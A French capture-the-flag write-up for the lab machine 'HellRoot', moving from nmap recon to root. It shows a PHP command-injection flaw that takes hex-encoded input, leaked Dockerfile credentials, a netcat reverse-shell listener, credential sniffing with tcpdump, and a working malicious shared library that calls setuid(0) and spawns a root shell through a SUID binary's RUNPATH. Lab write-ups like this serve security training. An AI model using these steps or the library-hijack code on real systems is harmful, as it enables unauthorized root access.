Exploitation de HellRoot sur TheHackerLabs : De l'Information à l'Élévation de Privilèges

Outils Utilisés

Machine d'attaque : 192.168.56.247
Machine cible : 192.168.56.142
Outils : nmap, nc, tcpdump

Collecte d'Informations

Découverte d'Hôtes

arp-scan -I eth1 -l
# Résultat similaire à 192.168.56.142 comme hôte actif

Scan de Ports

nmap -p- 192.168.56.142
# Ports ouverts identifiés : 22 (ssh), 80 (http), 222, 443 (https), 5000 (upnp)

Accès aux Services

curl -k https://192.168.56.142
# Redirection vers git.hellroot.thl

Modification du fichier hosts pour résoudre les domaines :
192.168.56.142 git.hellroot.thl hellroot.thl dns.hellroot.thl

Analyse des Fichiers Découvetrs

000-default.conf

Configuration serveur web indiquant des domaines supplémentaires.

Dockerfile

RUN useradd -m user1 && echo "user1:pass123" | chpasswd && \
    echo "user1 ALL=(ALL:ALL) NOPASSWD: /bin/su" > /etc/sudoers.d/user1-su && \
    chmod 440 /etc/sudoers.d/user1-su

index.php

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['param'])) {
    $entree = trim($_POST['param']);
    $converti = @hex2bin($entree);

    if ($converti !== false && ctype_print($converti)) {
        if (strpos($converti, ';') !== false) {
            $sortie = shell_exec($converti . ' 2>&1');
        } else {
            $cible = escapeshellarg($converti);
            $sortie = shell_exec("nslookup $cible 2>&1");
        }
    } else {
        $cible = escapeshellarg($entree);
        $sortie = shell_exec("nslookup $cible 2>&1");
    }
}
?>

Résumé et Vecteur d'Attaque

La cible exécute un environnement Docker avec des services web. Les identifiants décuoverts dans le Dockerfile sont "user1:pass123". L'application web permet l'exécution de commandes via l'encodage hexadécimal avec point-virgule. Chemin d'attaque : exploiter l'exécution de commandes pour obtenir un shell, puis escalader via les privilèges sudo.

Obtention d'un Accès Initial

Exécution de Commnades Encodées

Encoder une commande en hexadécimal avec un point-virgule pour l'injection.

Réception du Shell

nc -lvnp 4444
# Connexion établie, obtention d'un shell avec uid www-data

Escalade dans Docker

su - user1
pass123
sudo su -
# Acquisition des privilèges root dans le conteneur

Capture de Trafic Réseau

Sniffing avec tcpdump

tcpdump -w capture.pcap -i eth0

Indice trouvé dans un fichier texte suggérant l'utilisation d'outils de capture.

Analyse des Paquets

Dans le fichier pcap, un paquet POST révèle des identifiants :
username : "user1"
password : "longMotDePasse123"

Accès via SSH

ssh user1@192.168.56.142
# Utilisation des identifiants découverts pour se connecter

Élévation de Privilèges sur l'Hôte

Détection de Binaires SUID

Deux binaires inhabituels trouvés avec le bit SUID : /usr/local/bin/logview et /usr/local/bin/secmonitor.

Utilisation de logview

./logview ../root/root.txt
# Lecture du fichier flag en exploitant le chemin relatif

Analyse de secmonitor

readelf -d secmonitor | grep "NEEDED"
# Dépendance à libmonitor.so

Le RUNPATH est défini sur le répertoire courant, permettant le détournement de bibliothèque.

Création d'une Bibliothèque Malveillante

// libmalediction.c
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init_func() {
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
gcc -shared -fPIC -o /tmp/libmonitor.so /tmp/libmalediction.c

Exécution et Obtenir Root

/usr/local/bin/secmonitor
# Le binaire charge la bibliothèque malveillante, donnant un shell root

Vérification avec id montre uid=0(root).

Étiquettes: nmap netcat tcpdump Docker PHP

Publié le 29 juillet à 09h44